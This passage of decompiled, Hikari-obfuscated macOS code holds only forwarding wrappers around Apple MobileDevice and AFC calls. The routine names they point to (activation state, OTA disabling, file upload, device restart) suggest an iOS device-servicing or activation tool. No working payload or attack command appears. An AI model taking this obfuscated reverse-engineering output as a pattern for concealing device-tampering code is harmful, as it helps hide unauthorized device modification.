return HikariFunctionWrapper_18492(a1, a2);
}
//----- (0000000100222830) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18494(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (0000000100222840) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18495(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18494(a1, a2, a3, a4);
}
//----- (0000000100222850) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18496(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222860) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18497(void *a1, const char *a2)
{
return HikariFunctionWrapper_18496(a1, a2);
}
//----- (0000000100222870) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18498(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222880) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18499(void *a1, const char *a2)
{
HikariFunctionWrapper_18498(a1, a2);
}
//----- (0000000100222890) ----------------------------------------------------
uint32_t __fastcall HikariFunctionWrapper_18500(uint32_t a1)
{
return arc4random_uniform(a1);
}
//----- (00000001002228A0) ----------------------------------------------------
uint32_t __fastcall HikariFunctionWrapper_18501(uint32_t a1)
{
return HikariFunctionWrapper_18500(a1);
}
//----- (00000001002228B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18502(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002228C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18503(void *a1, const char *a2)
{
return HikariFunctionWrapper_18502(a1, a2);
}
//----- (00000001002228D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18504(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002228E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18505(void *a1, const char *a2)
{
HikariFunctionWrapper_18504(a1, a2);
}
//----- (00000001002228F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18506(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222900) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18507(void *a1, const char *a2)
{
HikariFunctionWrapper_18506(a1, a2);
}
//----- (0000000100222910) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18508(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222920) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18509(void *a1, const char *a2)
{
HikariFunctionWrapper_18508(a1, a2);
}
//----- (0000000100222930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18510(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18511(void *a1, const char *a2)
{
return HikariFunctionWrapper_18510(a1, a2);
}
//----- (0000000100222950) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18512(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (0000000100222960) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18513(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18512(a1, a2, a3, a4);
}
//----- (0000000100222970) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_18514(__int64 a1, const char *a2, int a3)
{
return AFCAwaitNonEmptyFile(a1, a2, a3);
}
//----- (0000000100222980) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_18515(__int64 a1, const char *a2, int a3)
{
return HikariFunctionWrapper_18514(a1, a2, a3);
}
//----- (0000000100222990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18516(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002229A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18517(NSString *a1)
{
HikariFunctionWrapper_18516(a1);
}
//----- (00000001002229B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18518(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (00000001002229C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18519(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18518(a1, a2);
}
//----- (00000001002229D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18520(void *a1, __int64 a2)
{
UploadBase64FilesFromXMLCleaned(a1, a2);
}
//----- (00000001002229E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18521(void *a1, __int64 a2)
{
HikariFunctionWrapper_18520(a1, a2);
}
//----- (00000001002229F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18522(__int64 a1)
{
RestartDevice(a1);
}
//----- (0000000100222A00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18523(__int64 a1)
{
HikariFunctionWrapper_18522(a1);
}
//----- (0000000100222A10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18524(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222A20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18525(NSString *a1)
{
HikariFunctionWrapper_18524(a1);
}
//----- (0000000100222A30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18526(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222A40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18527(NSString *a1)
{
HikariFunctionWrapper_18526(a1);
}
//----- (0000000100222A50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18528(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (0000000100222A60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18529(__int64 a1)
{
return HikariFunctionWrapper_18528(a1);
}
//----- (0000000100222A70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18530(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100222A80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18531(__int64 a1)
{
return HikariFunctionWrapper_18530(a1);
}
//----- (0000000100222A90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18532(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222AA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18533(void *a1, const char *a2)
{
HikariFunctionWrapper_18532(a1, a2);
}
//----- (0000000100222AB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18534(void *a1)
{
showOkMessage(a1);
}
//----- (0000000100222AC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18535(void *a1)
{
HikariFunctionWrapper_18534(a1);
}
//----- (0000000100222AD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18536(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222AE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18537(NSString *a1)
{
HikariFunctionWrapper_18536(a1);
}
//----- (0000000100222AF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18538(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222B00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18539(NSString *a1)
{
HikariFunctionWrapper_18538(a1);
}
//----- (0000000100222B10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18540(__int64 a1)
{
return AMDeviceValidatePairing(a1);
}
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
//----- (0000000100222B20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18541(__int64 a1)
{
return HikariFunctionWrapper_18540(a1);
}
//----- (0000000100222B30) ----------------------------------------------------
__CFString *HikariFunctionWrapper_18542()
{
return RunIdeviceActivationState();
}
//----- (0000000100222B40) ----------------------------------------------------
__CFString *HikariFunctionWrapper_18543()
{
return HikariFunctionWrapper_18542();
}
//----- (0000000100222B50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18544(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100222B60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18545(__int64 a1)
{
return HikariFunctionWrapper_18544(a1);
}
//----- (0000000100222B70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18546(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222B80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18547(void *a1, const char *a2)
{
HikariFunctionWrapper_18546(a1, a2);
}
//----- (0000000100222B90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18548(__int64 a1)
{
return isComplatedAPI(a1);
}
// 10001352D: using guessed type __int64 __fastcall isComplatedAPI(_QWORD);
//----- (0000000100222BA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18549(__int64 a1)
{
return HikariFunctionWrapper_18548(a1);
}
//----- (0000000100222BB0) ----------------------------------------------------
__int64 HikariFunctionWrapper_18550()
{
return BackupRestore();
}
//----- (0000000100222BC0) ----------------------------------------------------
__int64 HikariFunctionWrapper_18551()
{
return HikariFunctionWrapper_18550();
}
//----- (0000000100222BD0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18552(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100222BE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18553(__int64 a1)
{
return HikariFunctionWrapper_18552(a1);
}
//----- (0000000100222BF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18554(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222C00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18555(NSString *a1)
{
HikariFunctionWrapper_18554(a1);
}
//----- (0000000100222C10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18556(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222C20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18557(NSString *a1)
{
HikariFunctionWrapper_18556(a1);
}
//----- (0000000100222C30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18558(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222C40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18559(void *a1, const char *a2)
{
HikariFunctionWrapper_18558(a1, a2);
}
//----- (0000000100222C50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18560(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222C60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18561(void *a1, const char *a2)
{
HikariFunctionWrapper_18560(a1, a2);
}
//----- (0000000100222C70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18562(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222C80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18563(void *a1, const char *a2)
{
HikariFunctionWrapper_18562(a1, a2);
}
//----- (0000000100222C90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18564(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (0000000100222CA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18565(__int64 a1)
{
return HikariFunctionWrapper_18564(a1);
}
//----- (0000000100222CB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18566(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100222CC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18567(__int64 a1)
{
return HikariFunctionWrapper_18566(a1);
}
//----- (0000000100222CD0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18568(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100222CE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18569(__int64 a1)
{
return HikariFunctionWrapper_18568(a1);
}
//----- (0000000100222CF0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18570()
{
Close3uTools();
}
//----- (0000000100222D00) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18571()
{
HikariFunctionWrapper_18570();
}
//----- (0000000100222D10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18572(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222D20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18573(void *a1, const char *a2)
{
HikariFunctionWrapper_18572(a1, a2);
}
//----- (0000000100222D30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18574(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100222D40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18575(void *a1)
{
HikariFunctionWrapper_18574(a1);
}
//----- (0000000100222D50) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_18576(__int64 a1, const char *a2, int a3)
{
return AFCAwaitNonEmptyFile(a1, a2, a3);
}
//----- (0000000100222D60) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_18577(__int64 a1, const char *a2, int a3)
{
return HikariFunctionWrapper_18576(a1, a2, a3);
}
//----- (0000000100222D70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18578(__int64 a1)
{
RestartDevice(a1);
}
//----- (0000000100222D80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18579(__int64 a1)
{
HikariFunctionWrapper_18578(a1);
}
//----- (0000000100222D90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18580(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100222DA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18581(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_18580(a1, a2);
}
//----- (0000000100222DB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18582(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18583(void *a1, const char *a2)
{
return HikariFunctionWrapper_18582(a1, a2);
}
//----- (0000000100222DD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18584(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222DE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18585(NSString *a1)
{
HikariFunctionWrapper_18584(a1);
}
//----- (0000000100222DF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18586(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222E00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18587(void *a1, const char *a2)
{
return HikariFunctionWrapper_18586(a1, a2);
}
//----- (0000000100222E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18588(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18589(void *a1, const char *a2)
{
return HikariFunctionWrapper_18588(a1, a2);
}
//----- (0000000100222E30) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18590(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100222E40) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18591(__int64 a1)
{
return HikariFunctionWrapper_18590(a1);
}
//----- (0000000100222E50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18592(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222E60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18593(void *a1, const char *a2)
{
HikariFunctionWrapper_18592(a1, a2);
}
//----- (0000000100222E70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18594(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222E80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18595(void *a1, const char *a2)
{
HikariFunctionWrapper_18594(a1, a2);
}
//----- (0000000100222E90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18596(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (0000000100222EA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18597(__int64 a1)
{
return HikariFunctionWrapper_18596(a1);
}
//----- (0000000100222EB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18598(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222EC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18599(void *a1, const char *a2)
{
HikariFunctionWrapper_18598(a1, a2);
}
//----- (0000000100222ED0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18600(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222EE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18601(void *a1, const char *a2)
{
HikariFunctionWrapper_18600(a1, a2);
}
//----- (0000000100222EF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18602(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (0000000100222F00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18603(__int64 a1)
{
return HikariFunctionWrapper_18602(a1);
}
//----- (0000000100222F10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18604(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (0000000100222F20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18605(__int64 a1)
{
return HikariFunctionWrapper_18604(a1);
}
//----- (0000000100222F30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18606(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (0000000100222F40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18607(__int64 a1)
{
HikariFunctionWrapper_18606(a1);
}
//----- (0000000100222F50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18608(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100222F60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18609(void *a1, const char *a2)
{
return HikariFunctionWrapper_18608(a1, a2);
}
//----- (0000000100222F70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18610(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100222F80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18611(NSString *a1)
{
HikariFunctionWrapper_18610(a1);
}
//----- (0000000100222F90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18612(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (0000000100222FA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18613(__int64 a1)
{
return HikariFunctionWrapper_18612(a1);
}
//----- (0000000100222FB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18614(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222FC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18615(void *a1, const char *a2)
{
HikariFunctionWrapper_18614(a1, a2);
}
//----- (0000000100222FD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18616(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100222FE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18617(void *a1, const char *a2)
{
HikariFunctionWrapper_18616(a1, a2);
}
//----- (0000000100222FF0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18618()
{
OTA_DISABLED();
}
//----- (0000000100223000) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18619()
{
HikariFunctionWrapper_18618();
}
//----- (0000000100223010) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18620(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223020) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18621(void *a1, const char *a2)
{
HikariFunctionWrapper_18620(a1, a2);
}
//----- (0000000100223030) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18622(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223040) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18623(void *a1, const char *a2)
{
HikariFunctionWrapper_18622(a1, a2);
}
//----- (0000000100223050) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18624(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223060) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18625(void *a1, const char *a2)
{
HikariFunctionWrapper_18624(a1, a2);
}
//----- (0000000100223070) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18626(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (0000000100223080) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18627(__int64 a1)
{
return HikariFunctionWrapper_18626(a1);
}
//----- (0000000100223090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18628(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002230A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18629(NSString *a1)
{
HikariFunctionWrapper_18628(a1);
}
//----- (00000001002230B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18630(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002230C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18631(void *a1, const char *a2)
{
HikariFunctionWrapper_18630(a1, a2);
}
//----- (00000001002230D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18632(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002230E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18633(NSString *a1)
{
HikariFunctionWrapper_18632(a1);
}
//----- (00000001002230F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18634(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (0000000100223100) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18635(__int64 a1)
{
return HikariFunctionWrapper_18634(a1);
}
//----- (0000000100223110) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18636(void *a1)
{
showOkMessage(a1);
}
//----- (0000000100223120) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18637(void *a1)
{
HikariFunctionWrapper_18636(a1);
}
//----- (0000000100223130) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18638(void *a1)
{
showOkMessage(a1);
}
//----- (0000000100223140) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18639(void *a1)
{
HikariFunctionWrapper_18638(a1);
}
//----- (0000000100223150) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18640(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223160) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18641(NSString *a1)
{
HikariFunctionWrapper_18640(a1);
}
//----- (0000000100223170) ----------------------------------------------------
